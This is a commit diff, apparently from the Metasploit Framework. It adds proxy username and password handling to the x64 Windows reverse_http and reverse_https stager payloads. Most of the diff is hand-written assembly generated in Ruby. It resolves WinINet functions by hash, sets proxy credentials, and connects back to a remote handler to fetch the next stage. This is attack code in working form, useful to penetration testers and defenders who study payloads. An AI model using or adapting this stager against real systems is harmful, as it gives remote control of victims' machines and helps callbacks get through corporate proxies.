Skip to content

Commit 21397b4

Browse files
committed
Add proxy user/pass to x64 reverse_http/s
1 parent 9312c0e commit 21397b4

File tree

3 files changed

+61
-5
lines changed

3 files changed

+61
-5
lines changed

lib/msf/core/payload/windows/x64/reverse_http.rb

Lines changed: 59 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -237,12 +237,12 @@ def asm_reverse_http(opts={})
237237
^
238238

239239
asm << %Q^
240-
call internetconnect
240+
call internetconnect ; puts proxy host pointer on stack
241241
get_server_host:
242242
db "#{opts[:host]}", 0x00
243243
244244
internetconnect:
245-
pop rdx ; String (lpszServerName)
245+
pop rdx ; contains proxy host pointer
246246
mov rcx, rax ; HINTERNET (hInternet)
247247
mov r8, #{opts[:port]} ;
248248
xor r9, r9 ; String (lpszUsername)
@@ -252,7 +252,64 @@ def asm_reverse_http(opts={})
252252
push 0 ; alignment
253253
mov r10, 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
254254
call rbp
255+
^
256+
257+
if proxy_enabled
258+
# only store connection handle if something is set!
259+
if proxy_user || proxy_pass
260+
asm << %Q^
261+
mov rsi, rax ; Store hConnection in rsi
262+
^
263+
end
264+
265+
if proxy_user
266+
asm << %Q^
267+
call internetsetoption_proxy_user ; puts proxy_user pointer on stack
268+
get_proxy_user:
269+
db "#{proxy_user}", 0x00
270+
internetsetoption_proxy_user:
271+
pop r8 ; contains proxy_user pointer
272+
mov rcx, rsi ; (hConnection)
273+
push 43 ; INTERNET_OPTION_PROXY_USERNAME
274+
pop rdx
275+
push #{proxy_user.length} ; proxy_user length
276+
pop r9
277+
mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
278+
; TODO: Without these pushes, things crashed. Not sure why.
279+
push 0 ; alignment
280+
push 0 ; alignment
281+
call rbp
282+
^
283+
end
255284

285+
if proxy_pass
286+
asm << %Q^
287+
call internetsetoption_proxy_pass ; puts proxy_pass pointer on stack
288+
get_proxy_pass:
289+
db "#{proxy_pass}", 0x00
290+
internetsetoption_proxy_pass:
291+
pop r8 ; contains proxy_pass pointer
292+
mov rcx, rsi ; (hConnection)
293+
push 44 ; INTERNET_OPTION_PROXY_PASSWORD
294+
pop rdx
295+
push #{proxy_pass.length} ; proxy_pass length
296+
pop r9
297+
mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
298+
; TODO: Without these pushes, things crashed. Not sure why.
299+
push 0 ; alignment
300+
push 0 ; alignment
301+
call rbp
302+
^
303+
end
304+
305+
if proxy_user || proxy_pass
306+
asm << %Q^
307+
mov rax, rsi ; Restore hConnection in rax
308+
^
309+
end
310+
end
311+
312+
asm << %Q^
256313
call httpopenrequest
257314
get_server_uri:
258315
db "#{opts[:url]}",0x00
@@ -374,7 +431,6 @@ def asm_reverse_http(opts={})
374431
asm << asm_exitfunk(opts)
375432
end
376433

377-
STDERR.puts(asm)
378434
asm
379435
end
380436

modules/payloads/stagers/windows/x64/reverse_http.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module Metasploit4
1111

12-
CachedSize = 529
12+
CachedSize = 513
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Windows

modules/payloads/stagers/windows/x64/reverse_https.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99

1010
module Metasploit4
1111

12-
CachedSize = 568
12+
CachedSize = 545
1313

1414
include Msf::Payload::Stager
1515
include Msf::Payload::Windows

0 commit comments

Comments
 (0)